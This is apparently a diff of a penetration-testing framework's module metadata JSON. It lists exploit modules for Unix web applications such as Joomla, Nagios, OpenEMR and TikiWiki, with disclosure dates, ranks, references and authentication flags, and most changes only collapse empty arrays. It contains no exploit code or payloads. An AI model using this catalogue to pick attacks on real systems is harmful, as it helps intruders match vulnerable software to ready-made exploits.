- }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/google_proxystylesheet_exec": { "name": "Google Appliance ProxyStyleSheet Command Execution", "fullname": "exploit/unix/webapp/google_proxystylesheet_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-08-16", "type": "exploit", @@ -132343,17 +117983,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/graphite_pickle_exec": { "name": "Graphite Web Unsafe Pickle Handling", "fullname": "exploit/unix/webapp/graphite_pickle_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-08-20", "type": "exploit", @@ -132394,17 +118031,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/guestbook_ssi_exec": { "name": "Matt Wright guestbook.pl Arbitrary Command Execution", "fullname": "exploit/unix/webapp/guestbook_ssi_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-11-05", "type": "exploit", @@ -132445,17 +118079,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/hastymail_exec": { "name": "Hastymail 2.1.1 RC1 Command Injection", "fullname": "exploit/unix/webapp/hastymail_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-22", "type": "exploit", @@ -132498,17 +118129,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/havalite_upload_exec": { "name": "Havalite CMS Arbitary File Upload Vulnerability", "fullname": "exploit/unix/webapp/havalite_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-17", "type": "exploit", @@ -132550,17 +118178,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/horde_unserialize_exec": { "name": "Horde Framework Unserialize PHP Code Execution", "fullname": "exploit/unix/webapp/horde_unserialize_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-27", "type": "exploit", @@ -132603,17 +118228,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/hybridauth_install_php_exec": { "name": "HybridAuth install.php PHP Code Execution", "fullname": "exploit/unix/webapp/hybridauth_install_php_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-08-04", "type": "exploit", @@ -132654,17 +118276,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/instantcms_exec": { "name": "InstantCMS 1.6 Remote PHP Code Execution", "fullname": "exploit/unix/webapp/instantcms_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-26", "type": "exploit", @@ -132706,17 +118325,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/invision_pboard_unserialize_exec": { "name": "Invision IP.Board unserialize() PHP Code Execution", "fullname": "exploit/unix/webapp/invision_pboard_unserialize_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-25", "type": "exploit", @@ -132761,17 +118377,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/joomla_akeeba_unserialize": { "name": "Joomla Akeeba Kickstart Unserialize Remote Code Execution", "fullname": "exploit/unix/webapp/joomla_akeeba_unserialize", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-29", "type": "exploit", @@ -132814,17 +118427,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/joomla_comfields_sqli_rce": { "name": "Joomla Component Fields SQLi Remote Code Execution", "fullname": "exploit/unix/webapp/joomla_comfields_sqli_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-17", "type": "exploit", @@ -132866,17 +118476,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/joomla_comjce_imgmanager": { "name": "Joomla Component JCE File Upload Remote Code Execution", "fullname": "exploit/unix/webapp/joomla_comjce_imgmanager", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-02", "type": "exploit", @@ -132918,17 +118525,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/joomla_contenthistory_sqli_rce": { "name": "Joomla Content History SQLi Remote Code Execution", "fullname": "exploit/unix/webapp/joomla_contenthistory_sqli_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-10-23", "type": "exploit", @@ -132973,17 +118577,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/joomla_media_upload_exec": { "name": "Joomla Media Manager File Upload Vulnerability", "fullname": "exploit/unix/webapp/joomla_media_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-08-01", "type": "exploit", @@ -133029,17 +118630,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/joomla_tinybrowser": { "name": "Joomla 1.5.12 TinyBrowser File Upload Code Execution", "fullname": "exploit/unix/webapp/joomla_tinybrowser", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-07-22", "type": "exploit", @@ -133081,17 +118679,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/jquery_file_upload": { "name": "blueimp's jQuery (Arbitrary) File Upload", "fullname": "exploit/unix/webapp/jquery_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-10-09", "type": "exploit", @@ -133139,17 +118734,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/kimai_sqli": { "name": "Kimai v0.9.2 'db_restore.php' SQL Injection", "fullname": "exploit/unix/webapp/kimai_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-05-21", "type": "exploit", @@ -133190,17 +118782,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/libretto_upload_exec": { "name": "LibrettoCMS File Manager Arbitary File Upload Vulnerability", "fullname": "exploit/unix/webapp/libretto_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-14", "type": "exploit", @@ -133242,17 +118831,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/maarch_letterbox_file_upload": { "name": "Maarch LetterBox Unrestricted File Upload", "fullname": "exploit/unix/webapp/maarch_letterbox_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-02-11", "type": "exploit", @@ -133291,17 +118877,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/mambo_cache_lite": { "name": "Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include", "fullname": "exploit/unix/webapp/mambo_cache_lite", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-06-14", "type": "exploit", @@ -133342,17 +118925,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/mitel_awc_exec": { "name": "Mitel Audio and Web Conferencing Command Injection", "fullname": "exploit/unix/webapp/mitel_awc_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-12", "type": "exploit", @@ -133391,17 +118971,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/moinmoin_twikidraw": { "name": "MoinMoin twikidraw Action Traversal File Upload", "fullname": "exploit/unix/webapp/moinmoin_twikidraw", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2012-12-30", "type": "exploit", @@ -133416,7 +118993,7 @@ "OSVDB-88825", "BID-57082", "EDB-25304", - "URL-http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f", + "URL-http://web.archive.org/web/20221221070124/http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f", "URL-http://wiki.python.org/moin/WikiAttack2013" ], "platform": "Unix", @@ -133440,24 +119017,21 @@ "targets": [ "MoinMoin 1.9.5" ], - "mod_time": "2021-04-07 06:12:25 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/unix/webapp/moinmoin_twikidraw.rb", "is_install_path": true, "ref_name": "unix/webapp/moinmoin_twikidraw", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/mybb_backdoor": { "name": "myBB 1.6.4 Backdoor Arbitrary Command Execution", "fullname": "exploit/unix/webapp/mybb_backdoor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-06", "type": "exploit", @@ -133502,12 +119076,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ], + "SideEffects": [], + "Reliability": [], "NOCVE": [ "Reason not given" ] @@ -133518,9 +119088,7 @@ "exploit_unix/webapp/nagios3_history_cgi": { "name": "Nagios3 history.cgi Host Command Execution", "fullname": "exploit/unix/webapp/nagios3_history_cgi", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-12-09", "type": "exploit", @@ -133567,17 +119135,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/nagios3_statuswml_ping": { "name": "Nagios3 statuswml.cgi Ping Command Execution", "fullname": "exploit/unix/webapp/nagios3_statuswml_ping", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-06-22", "type": "exploit", @@ -133617,17 +119182,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/nagios_graph_explorer": { "name": "Nagios XI Network Monitor Graph Explorer Component Command Injection", "fullname": "exploit/unix/webapp/nagios_graph_explorer", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-30", "type": "exploit", @@ -133669,17 +119231,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/narcissus_backend_exec": { "name": "Narcissus Image Configuration Passthru Vulnerability", "fullname": "exploit/unix/webapp/narcissus_backend_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-14", "type": "exploit", @@ -133720,17 +119279,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/open_flash_chart_upload_exec": { "name": "Open Flash Chart v2 Arbitrary File Upload", "fullname": "exploit/unix/webapp/open_flash_chart_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-14", "type": "exploit", @@ -133781,17 +119337,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/openemr_sqli_privesc_upload": { "name": "OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution", "fullname": "exploit/unix/webapp/openemr_sqli_privesc_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-16", "type": "exploit", @@ -133831,17 +119384,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/openemr_upload_exec": { "name": "OpenEMR PHP File Upload Vulnerability", "fullname": "exploit/unix/webapp/openemr_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-13", "type": "exploit", @@ -133890,12 +119440,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": true @@ -133967,9 +119513,7 @@ "exploit_unix/webapp/openmediavault_rpc_rce": { "name": "OpenMediaVault rpc.php Authenticated PHP Code Injection", "fullname": "exploit/unix/webapp/openmediavault_rpc_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-28", "type": "exploit", @@ -134026,9 +119570,7 @@ "exploit_unix/webapp/opennetadmin_ping_cmd_injection": { "name": "OpenNetAdmin Ping Command Injection", "fullname": "exploit/unix/webapp/opennetadmin_ping_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-19", "type": "exploit", @@ -134068,17 +119610,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/opensis_chain_exec": { "name": "openSIS Unauthenticated PHP Code Execution", "fullname": "exploit/unix/webapp/opensis_chain_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-30", "type": "exploit", @@ -134140,9 +119679,7 @@ "exploit_unix/webapp/opensis_modname_exec": { "name": "OpenSIS 'modname' PHP Code Execution", "fullname": "exploit/unix/webapp/opensis_modname_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-04", "type": "exploit", @@ -134185,17 +119722,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/openview_connectednodes_exec": { "name": "HP Openview connectedNodes.ovpl Remote Command Execution", "fullname": "exploit/unix/webapp/openview_connectednodes_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-08-25", "type": "exploit", @@ -134237,17 +119771,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/openx_banner_edit": { "name": "OpenX banner-edit.php File Upload PHP Code Execution", "fullname": "exploit/unix/webapp/openx_banner_edit", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-11-24", "type": "exploit", @@ -134296,17 +119827,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/oracle_vm_agent_utl": { "name": "Oracle VM Server Virtual Server Agent Command Injection", "fullname": "exploit/unix/webapp/oracle_vm_agent_utl", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-10-12", "type": "exploit", @@ -134347,17 +119875,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/oscommerce_filemanager": { "name": "osCommerce 2.2 Arbitrary PHP Code Execution", "fullname": "exploit/unix/webapp/oscommerce_filemanager", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-08-31", "type": "exploit", @@ -134397,17 +119922,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/pajax_remote_exec": { "name": "PAJAX Remote Command Execution", "fullname": "exploit/unix/webapp/pajax_remote_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-03-30", "type": "exploit", @@ -134450,17 +119972,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/php_charts_exec": { "name": "PHP-Charts v1.0 PHP Code Execution Vulnerability", "fullname": "exploit/unix/webapp/php_charts_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-16", "type": "exploit", @@ -134502,17 +120021,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/php_eval": { "name": "Generic PHP Code Evaluation", "fullname": "exploit/unix/webapp/php_eval", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2008-10-13", "type": "exploit", @@ -134520,9 +120036,7 @@ "egypt " ], "description": "Exploits things like \n It is likely that HTTP evasion options will break this exploit.", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": 80, @@ -134551,17 +120065,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/php_include": { "name": "PHP Remote File Include Generic Code Execution", "fullname": "exploit/unix/webapp/php_include", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-12-17", "type": "exploit", @@ -134571,9 +120082,7 @@ "ethicalhack3r" ], "description": "This module can be used to exploit any generic PHP file include vulnerability,\n where the application includes code like the following:\n\n ", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": 80, @@ -134602,17 +120111,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/php_vbulletin_template": { "name": "vBulletin misc.php Template Name Arbitrary Code Execution", "fullname": "exploit/unix/webapp/php_vbulletin_template", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-02-25", "type": "exploit", @@ -134654,17 +120160,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/php_xmlrpc_eval": { "name": "PHP XML-RPC Arbitrary Code Execution", "fullname": "exploit/unix/webapp/php_xmlrpc_eval", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-06-29", "type": "exploit", @@ -134706,17 +120209,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/phpbb_highlight": { "name": "phpBB viewtopic.php Arbitrary Code Execution", "fullname": "exploit/unix/webapp/phpbb_highlight", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2004-11-12", "type": "exploit", @@ -134764,17 +120264,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/phpcollab_upload_exec": { "name": "phpCollab 2.5.1 Unauthenticated File Upload", "fullname": "exploit/unix/webapp/phpcollab_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-09-29", "type": "exploit", @@ -134817,17 +120314,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/phpmyadmin_config": { "name": "PhpMyAdmin Config File Code Injection", "fullname": "exploit/unix/webapp/phpmyadmin_config", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-03-24", "type": "exploit", @@ -134872,17 +120366,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/piwik_superuser_plugin_upload": { "name": "Piwik Superuser Plugin Upload", "fullname": "exploit/unix/webapp/piwik_superuser_plugin_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-02-05", "type": "exploit", @@ -134923,17 +120414,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/projectpier_upload_exec": { "name": "Project Pier Arbitrary File Upload Vulnerability", "fullname": "exploit/unix/webapp/projectpier_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-08", "type": "exploit", @@ -134976,17 +120464,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/projectsend_upload_exec": { "name": "ProjectSend Arbitrary File Upload", "fullname": "exploit/unix/webapp/projectsend_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-12-02", "type": "exploit", @@ -135026,17 +120511,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/qtss_parse_xml_exec": { "name": "QuickTime Streaming Server parse_xml.cgi Remote Execution", "fullname": "exploit/unix/webapp/qtss_parse_xml_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2003-02-24", "type": "exploit", @@ -135077,17 +120559,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/rconfig_install_cmd_exec": { "name": "rConfig install Command Execution", "fullname": "exploit/unix/webapp/rconfig_install_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-10-28", "type": "exploit", @@ -135131,17 +120610,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/redmine_scm_exec": { "name": "Redmine SCM Repository Arbitrary Command Execution", "fullname": "exploit/unix/webapp/redmine_scm_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-19", "type": "exploit", @@ -135182,17 +120658,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/seportal_sqli_exec": { "name": "SePortal SQLi Remote Code Execution", "fullname": "exploit/unix/webapp/seportal_sqli_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-03-20", "type": "exploit", @@ -135234,17 +120707,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/simple_e_document_upload_exec": { "name": "Simple E-Document Arbitrary File Upload", "fullname": "exploit/unix/webapp/simple_e_document_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-23", "type": "exploit", @@ -135284,17 +120754,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/sixapart_movabletype_storable_exec": { "name": "SixApart MovableType Storable Perl Code Execution", "fullname": "exploit/unix/webapp/sixapart_movabletype_storable_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2015-02-11", "type": "exploit", @@ -135334,17 +120801,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/skybluecanvas_exec": { "name": "SkyBlueCanvas CMS Remote Code Execution", "fullname": "exploit/unix/webapp/skybluecanvas_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-28", "type": "exploit", @@ -135388,17 +120852,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/sphpblog_file_upload": { "name": "Simple PHP Blog Remote Command Execution", "fullname": "exploit/unix/webapp/sphpblog_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-08-25", "type": "exploit", @@ -135441,17 +120902,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/squash_yaml_exec": { "name": "Squash YAML Code Execution", "fullname": "exploit/unix/webapp/squash_yaml_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-08-06", "type": "exploit", @@ -135492,17 +120950,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/squirrelmail_pgp_plugin": { "name": "SquirrelMail PGP Plugin Command Execution (SMTP)", "fullname": "exploit/unix/webapp/squirrelmail_pgp_plugin", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2007-07-09", "type": "exploit", @@ -135541,17 +120996,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/sugarcrm_rest_unserialize_exec": { "name": "SugarCRM REST Unserialize PHP Code Execution", "fullname": "exploit/unix/webapp/sugarcrm_rest_unserialize_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-23", "type": "exploit", @@ -135593,17 +121045,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/sugarcrm_unserialize_exec": { "name": "SugarCRM unserialize() PHP Code Execution", "fullname": "exploit/unix/webapp/sugarcrm_unserialize_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-23", "type": "exploit", @@ -135647,17 +121096,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/thinkphp_rce": { "name": "ThinkPHP Multiple PHP Injection RCEs", "fullname": "exploit/unix/webapp/thinkphp_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-12-10", "type": "exploit", @@ -135718,9 +121164,7 @@ "exploit_unix/webapp/tikiwiki_graph_formula_exec": { "name": "TikiWiki tiki-graph_formula Remote PHP Code Execution", "fullname": "exploit/unix/webapp/tikiwiki_graph_formula_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-10-10", "type": "exploit", @@ -135762,17 +121206,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/tikiwiki_jhot_exec": { "name": "TikiWiki jhot Remote Command Execution", "fullname": "exploit/unix/webapp/tikiwiki_jhot_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-09-02", "type": "exploit", @@ -135814,17 +121255,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/tikiwiki_unserialize_exec": { "name": "Tiki Wiki unserialize() PHP Code Execution", "fullname": "exploit/unix/webapp/tikiwiki_unserialize_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-04", "type": "exploit", @@ -135868,17 +121306,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/tikiwiki_upload_exec": { "name": "Tiki Wiki Unauthenticated File Upload Vulnerability", "fullname": "exploit/unix/webapp/tikiwiki_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-07-11", "type": "exploit", @@ -135918,17 +121353,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/trixbox_ce_endpoint_devicemap_rce": { "name": "TrixBox CE endpoint_devicemap.php Authenticated Command Execution", "fullname": "exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-04-28", "type": "exploit", @@ -135987,9 +121419,7 @@ "exploit_unix/webapp/trixbox_langchoice": { "name": "Trixbox langChoice PHP Local File Inclusion", "fullname": "exploit/unix/webapp/trixbox_langchoice", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2008-07-09", "type": "exploit", @@ -136032,17 +121462,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/tuleap_rest_unserialize_exec": { "name": "Tuleap 9.6 Second-Order PHP Object Injection", "fullname": "exploit/unix/webapp/tuleap_rest_unserialize_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-10-23", "type": "exploit", @@ -136083,17 +121510,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/tuleap_unserialize_exec": { "name": "Tuleap PHP Unserialize Code Execution", "fullname": "exploit/unix/webapp/tuleap_unserialize_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-27", "type": "exploit", @@ -136134,17 +121558,14 @@ "check": true, "post_auth": true, "default_credential": 